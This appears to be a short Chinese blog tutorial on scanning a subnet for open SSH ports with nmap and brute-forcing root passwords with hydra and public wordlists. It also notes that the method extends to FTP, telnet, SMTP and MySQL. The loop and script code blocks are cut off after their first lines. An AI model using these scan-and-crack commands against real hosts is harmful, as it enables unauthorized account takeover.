前言
仅供学习,作为本人笔记📒使用.本文使用的工具可能有但不限于namp,hydra等.对于工具🔧的使用,本文只是简单使用,关于更纤细更高级的用法请移步去Google或参考文档等.
场景:对接入网络中存在的IP地址进行批量的扫描和SSH登录爆破.
思路:首先,我们需要用namp扫描当前网段下存在的主机列表并探测对方主机的22端口是否开启.
若开启,则尝试使用hydra进行SSH密码爆破.
思路有了,我们可以用shell脚本将它们结合起来.
扫描
命令:
1 | nmap -vv -n –sS -sU -p22 -iL ./iplist.txt | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt |
含义:扫描iplist.txt文件中的IP地址是否开启22端口.
若开启,则将这个结果输出到ip_output.txt文件中.
如果没有iplist.txt 命令可以这样写:
1 | nmap -vv -n –sS -sU -p22 192.168.1.0/24 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt |
这是对一个网段的扫描,也可以换成一个IP.-sS和-sU都是扫描策略的选项,两个一起使用,可以提高扫描的可靠性。
在实际测试过程中(内网环境),nmap还是存在漏扫的情况.
关于nmap扫描更详细🔎更准确欢迎看这篇文章
第二步为,读取ip_output.txt文件中开放22端口的主机,使用hydra工具进行密码爆破,使用的命令如下:
1 | hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:" |
这条命令的含义是采用密码本./password.txt中的密码,对IP地址为:192.168.0.12的主机进行密码破解。grep “host:”用来过滤打印的输出,只输出破解到密码的条目。由于hydra一次只能对一个IP进行破解,因此,在shell中写了一个循环,hydra一次任务结束后,立即进行下一个IP的破解,直到将ip_output.txt文件中IP遍历完为止。代码如下所示。
1 | cat ./ip_output.txt | while read line |
遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。
1 | #!/bin/bash |
这个程序做了一些参数传递的判断,核心代码行十分精简。在使用程序之前,需得在主机上安装nmap和hydra,Ubuntu,Kali等Linux下可以使用包管理器例如apt来进行安装.
当然,能否破解成功,除了需要一个强力工具🔧,还得有个高效的密码本.
这里推荐一个项目,其中有很多好用的密码本.当然Kali自带的密码本也不错.Kali通过命令apt -y install seclists即可安装Seclists工具🔧
这里再分享一下3个基础密码本
password-100.txt
password-1000.txt
password-10k.txt
总结
通过上文的简单说明流程,可以轻松改造成对任意hydra支持的服务的批量口令爆破(包括但不限于:SSH,FTP,telnet,SMTP,POP3,MySQL).
关于hydra的更多介绍,本文不再展开.如果想进行http(s)的破解,请用burpsuit进行破解.
除了hydra(九头蛇)工具外,也有其他爆破工具🔧,例如medusa(美杜莎)等等
先写这么点吧,以后有机会再补充内容或更新.









